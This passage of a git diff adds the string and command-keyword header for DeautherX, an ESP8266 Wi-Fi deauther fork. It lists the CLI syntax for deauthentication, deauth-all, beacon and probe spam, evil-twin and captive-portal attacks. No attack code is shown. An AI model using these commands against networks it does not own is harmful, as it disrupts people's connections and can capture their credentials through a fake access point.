prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
String formatBytes(size_t bytes) {
|
||||
if (bytes < 1024) return String(bytes) + "B";
|
||||
else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB";
|
||||
else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB";
|
||||
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
|
||||
}
|
||||
683
DeautherX/language.h
Normal file
683
DeautherX/language.h
Normal file
@@ -0,0 +1,683 @@
|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
|
||||
extern String str(const char* ptr);
|
||||
extern String keyword(const char* keywordPtr);
|
||||
extern bool eqls(const char* str, const char* keywordPtr);
|
||||
extern bool eqls(String str, const char* keywordPtr);
|
||||
extern String b2s(bool input);
|
||||
extern String b2a(bool input);
|
||||
extern bool s2b(String input);
|
||||
extern void prnt(const String s);
|
||||
extern void prnt(const bool b);
|
||||
extern void prnt(const char c);
|
||||
extern void prnt(const char* ptr);
|
||||
extern void prnt(const char* ptr, int len);
|
||||
extern void prnt(const int i);
|
||||
extern void prnt(const uint32_t i);
|
||||
extern void prntln();
|
||||
extern void prntln(const String s);
|
||||
extern void prntln(const bool b);
|
||||
extern void prntln(const char c);
|
||||
extern void prntln(const char* ptr);
|
||||
extern void prntln(const char* ptr, int len);
|
||||
extern void prntln(const int i);
|
||||
extern void prntln(const uint32_t i);
|
||||
|
||||
/*
|
||||
The following variables are the strings used for the serial interface, display interface and settings.
|
||||
The keywords for the serial CLI have a simple structure to save a bit of memory and CPU time:
|
||||
- every keyword has a unique string
|
||||
- / is used for optional characters, i.e. 'enable/d' makes 'enable' and 'enabled'
|
||||
- , is used for seperations, i.e. 'select/ed,-s' makes 'select', 'selected' and '-s'
|
||||
- everything is in lowercase
|
||||
*/
|
||||
|
||||
// ===== GLOBAL STRINGS ===== //
|
||||
|
||||
// Often used characters, therefor in the RAM
|
||||
const char CURSOR = '|';
|
||||
const char SPACE = ' ';
|
||||
const char DOUBLEPOINT = ':';
|
||||
const char EQUALS = '=';
|
||||
const char HASHSIGN = '#';
|
||||
const char ASTERIX = '*';
|
||||
const char PERCENT = '%';
|
||||
const char DASH = '-';
|
||||
const char QUESTIONMARK = '?';
|
||||
const char ZERO = '0';
|
||||
const char S = 's';
|
||||
const char M = 'm';
|
||||
const char D = 'd';
|
||||
const char DOUBLEQUOTES = '\"';
|
||||
const char SLASH = '/';
|
||||
const char NEWLINE = '\n';
|
||||
const char CARRIAGERETURN = '\r';
|
||||
const char SEMICOLON = ';';
|
||||
const char BACKSLASH = '\\';
|
||||
const char POINT = '.';
|
||||
const char VERTICALBAR = '|';
|
||||
const char COMMA = ',';
|
||||
const char ENDOFLINE = '\0';
|
||||
const char OPEN_BRACKET = '[';
|
||||
const char CLOSE_BRACKET = ']';
|
||||
const char OPEN_CURLY_BRACKET = '{';
|
||||
const char CLOSE_CURLY_BRACKET = '}';
|
||||
|
||||
const char STR_TRUE[] PROGMEM = "true";
|
||||
const char STR_FALSE[] PROGMEM = "false";
|
||||
const char STR_MIN[] PROGMEM = "min";
|
||||
|
||||
// ===== SETUP ===== //
|
||||
const char SETUP_OK[] PROGMEM = "OK";
|
||||
const char SETUP_ERROR[] PROGMEM = "ERROR";
|
||||
const char SETUP_MOUNT_SPIFFS[] PROGMEM = "Mounting SPIFFS...";
|
||||
const char SETUP_FORMAT_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char SETUP_FORMAT_EEPROM[] PROGMEM = "Formatting EEPROM...";
|
||||
const char SETUP_SERIAL_WARNING[] PROGMEM = "Warning: Serial deactivated";
|
||||
const char SETUP_STARTED[] PROGMEM = "STARTED! \\o/";
|
||||
const char SETUP_COPYING[] PROGMEM = "Copying ";
|
||||
const char SETUP_PROGMEM_TO_SPIFFS[] PROGMEM = " from PROGMEM to SPIFFS...";
|
||||
|
||||
// ===== SERIAL COMMAND LINE INTERFACE ===== //
|
||||
const char CLI_SCAN[] PROGMEM = "scan"; // scan
|
||||
const char CLI_REBOOT[] PROGMEM = "reboot"; // reboot
|
||||
const char CLI_STATUS[] PROGMEM = "status"; // status
|
||||
const char CLI_SHOW[] PROGMEM = "show"; // show
|
||||
const char CLI_REMOVE[] PROGMEM = "remove"; // remove
|
||||
const char CLI_SET[] PROGMEM = "set"; // set
|
||||
const char CLI_STOP[] PROGMEM = "stop"; // stop
|
||||
const char CLI_LOAD[] PROGMEM = "load"; // load
|
||||
const char CLI_SAVE[] PROGMEM = "save"; // save
|
||||
const char CLI_ADD[] PROGMEM = "add"; // add
|
||||
const char CLI_DESELECT[] PROGMEM = "deselect"; // deselect
|
||||
const char CLI_CLEAR[] PROGMEM = "clear"; // clear
|
||||
const char CLI_SYSINFO[] PROGMEM = "sysinfo"; // sysinfo
|
||||
const char CLI_LS[] PROGMEM = "ls"; // ls
|
||||
const char CLI_RESET[] PROGMEM = "reset"; // reset
|
||||
const char CLI_ON[] PROGMEM = "on"; // on
|
||||
const char CLI_OFF[] PROGMEM = "off"; // off
|
||||
const char CLI_RANDOM[] PROGMEM = "random"; // random
|
||||
const char CLI_GET[] PROGMEM = "get"; // get
|
||||
const char CLI_INFO[] PROGMEM = "info"; // info
|
||||
const char CLI_HELP[] PROGMEM = "help"; // help
|
||||
const char CLI_RICE[] PROGMEM = "rice"; // rice
|
||||
const char CLI_FORMAT[] PROGMEM = "format"; // format
|
||||
const char CLI_DELETE[] PROGMEM = "delete"; // delete
|
||||
const char CLI_PRINT[] PROGMEM = "print"; // print
|
||||
const char CLI_RUN[] PROGMEM = "run"; // run
|
||||
const char CLI_WRITE[] PROGMEM = "write"; // write
|
||||
const char CLI_LED[] PROGMEM = "led"; // led
|
||||
const char CLI_SEND[] PROGMEM = "send"; // send
|
||||
const char CLI_CUSTOM[] PROGMEM = "custom"; // custom
|
||||
const char CLI_DELAY[] PROGMEM = "delay"; // delay
|
||||
const char CLI_REPLACE[] PROGMEM = "replace"; // replace
|
||||
const char CLI_DRAW[] PROGMEM = "draw"; // draw
|
||||
const char CLI_SCRIPT[] PROGMEM = "script"; // script
|
||||
const char CLI_STARTAP[] PROGMEM = "startap"; // startap
|
||||
const char CLI_STOPAP[] PROGMEM = "stopap"; // stopap
|
||||
const char CLI_RENAME[] PROGMEM = "rename"; // rename
|
||||
const char CLI_COPY[] PROGMEM = "copy"; // copy
|
||||
const char CLI_ENABLE[] PROGMEM = "enable/d"; // enable, enabled
|
||||
const char CLI_DISABLE[] PROGMEM = "disable/d"; // disable, disabled
|
||||
const char CLI_WPA2[] PROGMEM = "wpa/2,-wpa/2"; // wpa, wpa2, -wpa, -wpa2
|
||||
const char CLI_ATTACK[] PROGMEM = "attack/s"; // attack, attacks
|
||||
const char CLI_CHICKEN[] PROGMEM = "chicken/s"; // chicken, chickens
|
||||
const char CLI_SETTING[] PROGMEM = "setting/s"; // setting, settings
|
||||
const char CLI_ID[] PROGMEM = "id,-i/d"; // id, -i, -id
|
||||
const char CLI_ALL[] PROGMEM = "all,-a"; // all, -a
|
||||
const char CLI_TIME[] PROGMEM = "time,-t"; // time, -t
|
||||
const char CLI_CONTINUE[] PROGMEM = "continue,-c"; // continue, -c
|
||||
const char CLI_CHANNEL[] PROGMEM = "channel,-ch"; // channel, -ch
|
||||
const char CLI_MAC[] PROGMEM = "mac,-m"; // mac, -m
|
||||
const char CLI_BSSID[] PROGMEM = "bssid,-b"; // bssid, -b
|
||||
const char CLI_BEACON[] PROGMEM = "beacon,-b"; // bssid, -b
|
||||
const char CLI_DEAUTH[] PROGMEM = "deauth,-d"; // deauth, -d
|
||||
const char CLI_DEAUTHALL[] PROGMEM = "deauthall,-da"; // deauthall, -da
|
||||
const char CLI_EVILTWIN[] PROGMEM = "eviltwin,-et"; // eviltwin, -et
|
||||
const char CLI_PROBE[] PROGMEM = "probe,-p"; // probe, -p
|
||||
const char CLI_NOOUTPUT[] PROGMEM = "nooutput,-no"; // nooutput, -no
|
||||
const char CLI_FORCE[] PROGMEM = "force,-f"; // force, -f
|
||||
const char CLI_TIMEOUT[] PROGMEM = "timeout,-t"; // timeout, -t
|
||||
const char CLI_WIFI[] PROGMEM = "wifi,-w"; // wifi, -w
|
||||
const char CLI_CLONES[] PROGMEM = "clones,-cl"; // clones, -cl
|
||||
const char CLI_PATH[] PROGMEM = "path,-p"; // path, -p
|
||||
const char CLI_PASSWORD[] PROGMEM = "password,-ps/wd"; // password, -ps, -pswd
|
||||
const char CLI_HIDDEN[] PROGMEM = "hidden,-h"; // hidden, -h
|
||||
const char CLI_CAPTIVEPORTAL[] PROGMEM = "captiveportal,-cp"; // captiveportal, -cp
|
||||
const char CLI_SELECT[] PROGMEM = "select/ed,-s"; // select, selected, -s
|
||||
const char CLI_SSID[] PROGMEM = "ssid/s,-s/s"; // ssid, ssids, -s, -ss
|
||||
const char CLI_AP[] PROGMEM = "ap/s,-ap/s"; // ap, aps, -ap, -aps
|
||||
const char CLI_STATION[] PROGMEM = "station/s,-st"; // station, stations, -st
|
||||
const char CLI_NAME[] PROGMEM = "name/s,-n"; // name, names, -n
|
||||
const char CLI_LINE[] PROGMEM = "line/s,-l"; // line, lines, -l
|
||||
const char CLI_COMMENT[] PROGMEM = "//"; // //
|
||||
const char CLI_SCREEN[] PROGMEM = "screen"; // screen
|
||||
const char CLI_MODE[] PROGMEM = "mode,-m"; // mode
|
||||
const char CLI_MODE_BUTTONTEST[] PROGMEM = "buttontest"; // buttontest
|
||||
const char CLI_MODE_PACKETMONITOR[] PROGMEM = "packetmonitor"; // packetmonitor
|
||||
const char CLI_MODE_LOADINGSCREEN[] PROGMEM = "loadingscreen"; // loading
|
||||
const char CLI_MODE_MENU[] PROGMEM = "menu"; // menu
|
||||
|
||||
const char CLI_HELP_HELP[] PROGMEM = "help";
|
||||
const char CLI_HELP_SCAN[] PROGMEM = "scan [<all/aps/stations>] [-t <time>] [-c <continue-time>] [-ch <channel>]";
|
||||
const char CLI_HELP_SHOW[] PROGMEM = "show [selected] [<all/aps/stations/names/ssids>]";
|
||||
const char CLI_HELP_SELECT[] PROGMEM = "select [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_DESELECT[] PROGMEM = "deselect [<all/aps/stations/names>] [<id>]";
|
||||
const char CLI_HELP_SSID_A[] PROGMEM = "add ssid <ssid> [-wpa2] [-cl <clones>]";
|
||||
const char CLI_HELP_SSID_B[] PROGMEM = "add ssid -ap <id> [-cl <clones>] [-f]";
|
||||
const char CLI_HELP_SSID_C[] PROGMEM = "add ssid -s [-f]";
|
||||
const char CLI_HELP_NAME_A[] PROGMEM = "add name <name> [-ap <id>] [-s]";
|
||||
const char CLI_HELP_NAME_B[] PROGMEM = "add name <name> [-st <id>] [-s]";
|
||||
const char CLI_HELP_NAME_C[] PROGMEM = "add name <name> [-m <mac>] [-ch <channel>] [-b <bssid>] [-s]";
|
||||
const char CLI_HELP_SET_NAME[] PROGMEM = "set name <id> <newname>";
|
||||
const char CLI_HELP_ENABLE_RANDOM[] PROGMEM = "enable random <interval>";
|
||||
const char CLI_HELP_DISABLE_RANDOM[] PROGMEM = "disable random";
|
||||
const char CLI_HELP_LOAD[] PROGMEM = "load [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_SAVE[] PROGMEM = "save [<all/ssids/names/settings>] [<file>]";
|
||||
const char CLI_HELP_REMOVE_A[] PROGMEM = "remove <ap/station/name/ssid> <id>";
|
||||
const char CLI_HELP_REMOVE_B[] PROGMEM = "remove <ap/station/names/ssids> [all]";
|
||||
const char CLI_HELP_ATTACK[] PROGMEM = "attack [beacon] [deauth] [deauthall] [probe] [nooutput] [-t <timeout>]";
|
||||
const char CLI_HELP_ATTACK_STATUS[] PROGMEM = "attack status [<on/off>]";
|
||||
const char CLI_HELP_STOP[] PROGMEM = "stop <all/scan/attack/script>";
|
||||
const char CLI_HELP_SYSINFO[] PROGMEM = "sysinfo";
|
||||
const char CLI_HELP_LS[] PROGMEM = "ls";
|
||||
const char CLI_HELP_CLEAR[] PROGMEM = "clear";
|
||||
const char CLI_HELP_FORMAT[] PROGMEM = "format";
|
||||
const char CLI_HELP_PRINT[] PROGMEM = "print <file> [<lines>]";
|
||||
const char CLI_HELP_DELETE[] PROGMEM = "delete <file> [<lineFrom>] [<lineTo>]";
|
||||
const char CLI_HELP_REPLACE[] PROGMEM = "replace <file> <line> <new-content>";
|
||||
const char CLI_HELP_COPY[] PROGMEM = "copy <file> <newfile>";
|
||||
const char CLI_HELP_RENAME[] PROGMEM = "rename <file> <newfile>";
|
||||
const char CLI_HELP_RUN[] PROGMEM = "run <file>";
|
||||
const char CLI_HELP_WRITE[] PROGMEM = "write <file> <commands>";
|
||||
const char CLI_HELP_GET[] PROGMEM = "get <setting>";
|
||||
const char CLI_HELP_SET[] PROGMEM = "set <setting> <value>";
|
||||
const char CLI_HELP_RESET[] PROGMEM = "reset";
|
||||
const char CLI_HELP_CHICKEN[] PROGMEM = "chicken";
|
||||
const char CLI_HELP_REBOOT[] PROGMEM = "reboot";
|
||||
const char CLI_HELP_INFO[] PROGMEM = "info";
|
||||
const char CLI_HELP_COMMENT[] PROGMEM = "// <comments>";
|
||||
const char CLI_HELP_SEND_DEAUTH[] PROGMEM = "send deauth <apMac> <stMac> <rason> <channel>";
|
||||
const char CLI_HELP_SEND_BEACON[] PROGMEM = "send beacon <mac> <ssid> <ch> [wpa2]";
|
||||
const char CLI_HELP_SEND_PROBE[] PROGMEM = "send probe <mac> <ssid> <ch>";
|
||||
const char CLI_HELP_LED_A[] PROGMEM = "led <r> <g> <b>";
|
||||
const char CLI_HELP_LED_B[] PROGMEM = "led <#rrggbb>";
|
||||
const char CLI_HELP_DRAW[] PROGMEM = "draw";
|
||||
const char CLI_HELP_SCREEN_ON[] PROGMEM = "screen <on/off>";
|
||||
const char CLI_HELP_SCREEN_MODE[] PROGMEM = "screen mode <menu/packetmonitor/buttontest/loading>";
|
||||
|
||||
const char CLI_INPUT_PREFIX[] PROGMEM = "# ";
|
||||
const char CLI_SERIAL_ENABLED[] PROGMEM = "Serial interface enabled";
|
||||
const char CLI_SERIAL_DISABLED[] PROGMEM = "Serial interface disabled";
|
||||
const char CLI_ERROR[] PROGMEM = "ERROR: ";
|
||||
const char CLI_ERROR_PARAMETER[] PROGMEM = "Error Invalid parameter \"";
|
||||
const char CLI_STOPPED_SCRIPT[] PROGMEM = "Cleared CLI command queue";
|
||||
const char CLI_CONTINUOUSLY[] PROGMEM = "continuously";
|
||||
const char CLI_EXECUTING[] PROGMEM = "Executing ";
|
||||
const char CLI_SCRIPT_DONE_CONTINUE[] PROGMEM = "Done executing script - type 'stop script' to end the continuous mode";
|
||||
const char CLI_SCRIPT_DONE[] PROGMEM = "Done executing script";
|
||||
const char CLI_HELP_HEADER[] PROGMEM = "[===== List of commands =====]";
|
||||
const char CLI_HELP_FOOTER[] PROGMEM = "========================================================================\r\nfor more information please visit github.com/spacehuhn/esp8266_deauther\r\n========================================================================";
|
||||
const char CLI_ERROR_NAME_LEN[] PROGMEM = "ERROR : Name length 0";
|
||||
const char CLI_ERROR_MAC_LEN[] PROGMEM = "ERROR : MAC length 0";
|
||||
const char CLI_RICE_START[] PROGMEM = "Starting rice debugger (auto - repair mode enabled), please stand by...\r\nKeep the device connected to a power supply until the debugger ends\r\nYOU RISK TO BRICK THE BOARD!!!";
|
||||
const char CLI_RICE_OUTPUT[] PROGMEM = "[ % d % % ]\r\n";
|
||||
const char CLI_RICE_ERROR[] PROGMEM = "ERROR : Memory check failure at block 0x";
|
||||
const char CLI_RICE_MEM[] PROGMEM = "Checking memory block 0x";
|
||||
const char CLI_CHICKEN_OUTPUT[] PROGMEM =
|
||||
"________ __ .__ ____ ___ \n\n"
|
||||
"\______ \ ____ _____ __ ___/ |_| |__ __________\ \/ / \n\n"
|
||||
" | | \_/ __ \\__ \ | | \ __\ | \_/ __ \_ __ \ / \n\n"
|
||||
" | ` \ ___/ / __ \| | /| | | Y \ ___/| | \/ \ \n\n"
|
||||
"/_______ /\___ >____ /____/ |__| |___| /\___ >__| /___/\ \ \n\n"
|
||||
" \/ \/ \/ \/ \/ \_/ \n\n"
|
||||
" by BlackTechX \n\n"
|
||||
" YouTube.com/@BlackTechX_ || GitHub.com/BlackTechX011 ";
|
||||
|
||||
|
||||
|
||||
const char CLI_SYSTEM_INFO[] PROGMEM = "[======== SYSTEM INFO ========]";
|
||||
const char CLI_SYSTEM_OUTPUT[] PROGMEM = "RAM usage: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_AP_MAC[] PROGMEM = "AP MAC address: ";
|
||||
const char CLI_SYSTEM_ST_MAC[] PROGMEM = "Station MAC address: ";
|
||||
const char CLI_SYSTEM_RAM_OUT[] PROGMEM = "SPIFFS: %u bytes used [%d%%], %u bytes free [%d%%], %u bytes in total\r\n";
|
||||
const char CLI_SYSTEM_SPIFFS_OUT[] PROGMEM = " block size %u bytes, page size %u bytes\r\n";
|
||||
const char CLI_FILES[] PROGMEM = "Files: ";
|
||||
const char CLI_BYTES[] PROGMEM = " bytes";
|
||||
const char CLI_SYSTEM_FOOTER[] PROGMEM = "===============================";
|
||||
const char CLI_FORMATTING_SPIFFS[] PROGMEM = "Formatting SPIFFS...";
|
||||
const char CLI_REMOVED[] PROGMEM = "Removed ";
|
||||
const char CLI_ERROR_REMOVING[] PROGMEM = "ERROR: removing ";
|
||||
const char CLI_REMOVING_LINES[] PROGMEM = "Removed lines ";
|
||||
const char CLI_COPIED_FILES[] PROGMEM = "Copied file";
|
||||
const char CLI_ERROR_COPYING[] PROGMEM = "ERROR: Copying file";
|
||||
const char CLI_RENAMED_FILE[] PROGMEM = "Renamed file";
|
||||
const char CLI_ERROR_RENAMING_FILE[] PROGMEM = "ERROR: Renaming file";
|
||||
const char CLI_WRITTEN[] PROGMEM = "Written \"";
|
||||
const char CLI_TO[] PROGMEM = "\" to ";
|
||||
const char CLI_REPLACED_LINE[] PROGMEM = "Replaced line ";
|
||||
const char CLI_WITH[] PROGMEM = " with ";
|
||||
const char CLI_ERROR_REPLACING_LINE[] PROGMEM = "ERROR: replacing line in ";
|
||||
const char CLI_INFO_HEADER[] PROGMEM = "====================================================================================";
|
||||
const char CLI_INFO_SOFTWARE[] PROGMEM = "ESP8266 Deauther ";
|
||||
const char CLI_INFO_COPYRIGHT[] PROGMEM = "2018 (c) Stefan Kremser";
|
||||
const char CLI_INFO_LICENSE[] PROGMEM = "This software is licensed under the MIT License.";
|
||||
const char CLI_INFO_ADDON[] PROGMEM = "For more information please visit github.com/spacehuhn/esp8266_deauther";
|
||||
const char CLI_DEAUTHING[] PROGMEM = "Deauthing ";
|
||||
const char CLI_ARROW[] PROGMEM = " -> ";
|
||||
const char CLI_SENDING_BEACON[] PROGMEM = "Sending Beacon \"";
|
||||
const char CLI_SENDING_PROBE[] PROGMEM = "Sending Probe \"";
|
||||
const char CLI_CUSTOM_SENT[] PROGMEM = "Sent out custom packet";
|
||||
const char CLI_CUSTOM_FAILED[] PROGMEM = "Sending custom packet failed";
|
||||
const char CLI_DRAW_OUTPUT[] PROGMEM = "%+4u";
|
||||
const char CLI_ERROR_NOT_FOUND_A[] PROGMEM = "ERROR: command \"";
|
||||
const char CLI_ERROR_NOT_FOUND_B[] PROGMEM = "\" not found :(";
|
||||
const char CLI_SYSTEM_CHANNEL[] PROGMEM = "Current WiFi channel: ";
|
||||
const char CLI_CHANGED_SCREEN[] PROGMEM = "Changed screen mode";
|
||||
const char CLI_DEFAULT_AUTOSTART[] PROGMEM = "scan -t 5s\nsysinfo\n";
|
||||
const char CLI_RESUMED[] PROGMEM = "Command Line resumed";
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
|
||||
// // DEBUG MESSAGES
|
||||
// const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled";
|
||||
// const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off";
|
||||
// const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on";
|
||||
|
||||
// // LOADING SCREEN
|
||||
// const char DSP_SCAN_FOR[] PROGMEM = "Scan for";
|
||||
// const char DSP_APS[] PROGMEM = "APs";
|
||||
// const char DSP_STS[] PROGMEM = "STs";
|
||||
// const char DSP_PKTS[] PROGMEM = "Pkts";
|
||||
// const char DSP_S[] PROGMEM = "/s";
|
||||
// const char DSP_SCAN_DONE[] PROGMEM = "Done";
|
||||
|
||||
// // ALL MENUS
|
||||
// const char D_BACK[] PROGMEM = "[BACK]";
|
||||
// const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL";
|
||||
// const char D_SELECT[] PROGMEM = "SELECT";
|
||||
// const char D_DESELECT[] PROGMEM = "DESELECT";
|
||||
// const char D_REMOVE[] PROGMEM = "REMOVE";
|
||||
// const char D_SELECT_ALL[] PROGMEM = "SELECT ALL";
|
||||
// const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL";
|
||||
// const char D_CLONE[] PROGMEM = "CLONE SSID";
|
||||
// const char D_LED[] PROGMEM = "LED";
|
||||
|
||||
// // BUTTON TEST
|
||||
// const char D_UP[] PROGMEM = "UP:";
|
||||
// const char D_DOWN[] PROGMEM = "DOWN:";
|
||||
// const char D_LEFT[] PROGMEM = "LEFT:";
|
||||
// const char D_RIGHT[] PROGMEM = "RIGHT:";
|
||||
// const char D_B[] PROGMEM = "A:";
|
||||
// const char D_A[] PROGMEM = "B:";
|
||||
|
||||
// // MAIN MENU
|
||||
// const char D_SCAN[] PROGMEM = "SCAN";
|
||||
// const char D_SHOW[] PROGMEM = "SELECT";
|
||||
// const char D_ATTACK[] PROGMEM = "ATTACK";
|
||||
// const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR";
|
||||
// const char D_CLOCK[] PROGMEM = "CLOCK";
|
||||
// const char D_CLOCK_DISPLAY[] PROGMEM = "CLOCK DISPLAY";
|
||||
// const char D_CLOCK_SET[] PROGMEM = "SET CLOCK";
|
||||
|
||||
// // SCAN MENU
|
||||
// const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST";
|
||||
// const char D_SCAN_AP[] PROGMEM = "SCAN APs";
|
||||
// const char D_SCAN_ST[] PROGMEM = "SCAN Stations";
|
||||
|
||||
// // SHOW MENU
|
||||
// const char D_ACCESSPOINTS[] PROGMEM = "APs ";
|
||||
// const char D_STATIONS[] PROGMEM = "Stations ";
|
||||
// const char D_NAMES[] PROGMEM = "Names ";
|
||||
// const char D_SSIDS[] PROGMEM = "SSIDs ";
|
||||
|
||||
// // SSID LIST MENU
|
||||
// const char D_CLONE_APS[] PROGMEM = "CLONE APs";
|
||||
// const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE";
|
||||
|
||||
// // ATTACK MENU
|
||||
// const char D_DEAUTH[] PROGMEM = "DEAUTH";
|
||||
// const char D_BEACON[] PROGMEM = "BEACON";
|
||||
// const char D_PROBE[] PROGMEM = "PROBE";
|
||||
// const char D_START_ATTACK[] PROGMEM = "START";
|
||||
// const char D_STOP_ATTACK[] PROGMEM = "STOP";
|
||||
|
||||
// // SUB MENUS
|
||||
// const char D_ENCRYPTION[] PROGMEM = "Encryption:";
|
||||
// const char D_RSSI[] PROGMEM = "RSSI:";
|
||||
// const char D_CHANNEL[] PROGMEM = "Channel:";
|
||||
// const char D_CH[] PROGMEM = "Ch";
|
||||
// const char D_VENDOR[] PROGMEM = "Vendor:";
|
||||
// const char D_AP[] PROGMEM = "AP:";
|
||||
// const char D_PKTS[] PROGMEM = "pkts";
|
||||
// const char D_SEEN[] PROGMEM = "Seen:";
|
||||
|
||||
// PESAN DEBUG
|
||||
const char D_ERROR_NOT_ENABLED[] PROGMEM = "ERROR: Display not enabled";
|
||||
const char D_MSG_DISPLAY_OFF[] PROGMEM = "Turned display off";
|
||||
const char D_MSG_DISPLAY_ON[] PROGMEM = "Turned display on";
|
||||
|
||||
// LAYAR PEMUATAN
|
||||
const char DSP_SCAN_FOR[] PROGMEM = "Scan for";
|
||||
const char DSP_APS[] PROGMEM = "APs";
|
||||
const char DSP_STS[] PROGMEM = "STs";
|
||||
const char DSP_PKTS[] PROGMEM = "Pkts";
|
||||
const char DSP_S[] PROGMEM = "/s";
|
||||
const char DSP_SCAN_DONE[] PROGMEM = "Done";
|
||||
|
||||
// SEMUA MENU
|
||||
const char D_BACK[] PROGMEM = "[BACK]";
|
||||
const char D_REMOVE_ALL[] PROGMEM = "REMOVE ALL";
|
||||
const char D_SELECT[] PROGMEM = "SELECT";
|
||||
const char D_DESELECT[] PROGMEM = "DESELECT";
|
||||
const char D_REMOVE[] PROGMEM = "REMOVE";
|
||||
const char D_SELECT_ALL[] PROGMEM = "SELECT ALL";
|
||||
const char D_DESELECT_ALL[] PROGMEM = "DESELECT ALL";
|
||||
const char D_CLONE[] PROGMEM = "CLONE SSID";
|
||||
const char D_LED[] PROGMEM = "LED";
|
||||
|
||||
// UJI TOMBOL
|
||||
const char D_UP[] PROGMEM = "UP:";
|
||||
const char D_DOWN[] PROGMEM = "DOWN:";
|
||||
const char D_LEFT[] PROGMEM = "LEFT:";
|
||||
const char D_RIGHT[] PROGMEM = "RIGHT:";
|
||||
const char D_B[] PROGMEM = "A:";
|
||||
const char D_A[] PROGMEM = "B:";
|
||||
|
||||
// MENU UTAMA
|
||||
const char D_SCAN[] PROGMEM = "SCAN";
|
||||
const char D_SHOW[] PROGMEM = "SELECT";
|
||||
const char D_ATTACK[] PROGMEM = "ATTACK";
|
||||
const char D_FLASHLIGHT[] PROGMEM = "FLASHLIGHT";
|
||||
const char D_PACKET_MONITOR[] PROGMEM = "PACKET MONITOR";
|
||||
const char D_TOOLS[] PROGMEM = "TOOLS";
|
||||
|
||||
// TOOLS MENU
|
||||
const char D_WSTATUS[] PROGMEM = "WIFI STATUS";
|
||||
const char D_SIGNAL_TEST[] PROGMEM = "SIGNAL TEST";
|
||||
const char D_SHUTDOWN[] PROGMEM = "SHUTDOWN";
|
||||
const char D_CLOCK_DISPLAY[] PROGMEM = "CLOCK VIEW";
|
||||
const char D_CLOCK_SET[] PROGMEM = "SET CLOCK";
|
||||
|
||||
// MENU PINDAI
|
||||
const char D_SCAN_APST[] PROGMEM = "SCAN AP + ST";
|
||||
const char D_SCAN_AP[] PROGMEM = "SCAN AP";
|
||||
const char D_SCAN_ST[] PROGMEM = "SCAN STATION";
|
||||
|
||||
// MENU TAMPIL
|
||||
const char D_ACCESSPOINTS[] PROGMEM = "AP ";
|
||||
const char D_STATIONS[] PROGMEM = "Station ";
|
||||
const char D_NAMES[] PROGMEM = "Name ";
|
||||
const char D_SSIDS[] PROGMEM = "SSIDs ";
|
||||
|
||||
// MENU DAFTAR SSID
|
||||
const char D_CLONE_APS[] PROGMEM = "CLONE APs";
|
||||
const char D_RANDOM_MODE[] PROGMEM = "RANDOM MODE";
|
||||
|
||||
// MENU SERANG
|
||||
const char D_DEAUTH[] PROGMEM = "DEAUTH";
|
||||
const char D_BEACON[] PROGMEM = "BEACON";
|
||||
const char D_PROBE[] PROGMEM = "PROBE";
|
||||
const char D_DEAUTH_ALL[] PROGMEM = "DEAUTH ALL";
|
||||
const char D_EVIL_TWIN[] PROGMEM = "EVIL TWIN";
|
||||
const char D_START_ATTACK[] PROGMEM = "START";
|
||||
const char D_STOP_ATTACK[] PROGMEM = "STOP";
|
||||
|
||||
// SUB MENU
|
||||
const char D_ENCRYPTION[] PROGMEM = "Encryption:";
|
||||
const char D_RSSI[] PROGMEM = "RSSI:";
|
||||
const char D_CHANNEL[] PROGMEM = "Channel:";
|
||||
const char D_CH[] PROGMEM = "Ch";
|
||||
const char D_VENDOR[] PROGMEM = "Vendor:";
|
||||
const char D_AP[] PROGMEM = "AP:";
|
||||
const char D_PKTS[] PROGMEM = "pkts";
|
||||
const char D_SEEN[] PROGMEM = "Seen:";
|
||||
|
||||
// ===== STATIONS ===== //
|
||||
const char ST_CLEARED_LIST[] PROGMEM = "Cleared station list";
|
||||
const char ST_REMOVED_STATION[] PROGMEM = "Removed station ";
|
||||
const char ST_LIST_EMPTY[] PROGMEM = "Station list is empty :(";
|
||||
const char ST_HEADER[] PROGMEM = "[===== Stations =====]";
|
||||
const char ST_NO_DEVICES_SELECTED[] PROGMEM = "No devices selected";
|
||||
const char ST_TABLE_HEADER[] PROGMEM = "ID MAC Ch Name Vendor Pkts AP Last Seen Selected";
|
||||
const char ST_TABLE_DIVIDER[] PROGMEM = "==============================================================================================================";
|
||||
const char ST_SMALLER_ONESEC[] PROGMEM = "<1sec";
|
||||
const char ST_SMALLER_ONEMIN[] PROGMEM = "<1min";
|
||||
const char ST_BIGER_ONEHOUR[] PROGMEM = ">1h";
|
||||
const char ST_SELECTED_STATION[] PROGMEM = "Selected station ";
|
||||
const char ST_DESELECTED_STATION[] PROGMEM = "Deselected station ";
|
||||
const char ST_ERROR_ID[] PROGMEM = "ERROR: No station found with ID ";
|
||||
const char ST_SELECTED_ALL[] PROGMEM = "Selected all stations";
|
||||
const char ST_DESELECTED_ALL[] PROGMEM = "Deselected all stations";
|
||||
|
||||
// ===== ACCESS POINTS ===== //
|
||||
const char AP_HEADER[] PROGMEM = "[===== Access Points =====]";
|
||||
const char AP_LIST_EMPTY[] PROGMEM = "AP list is empty :(";
|
||||
const char AP_NO_AP_SELECTED[] PROGMEM = "No APs selected";
|
||||
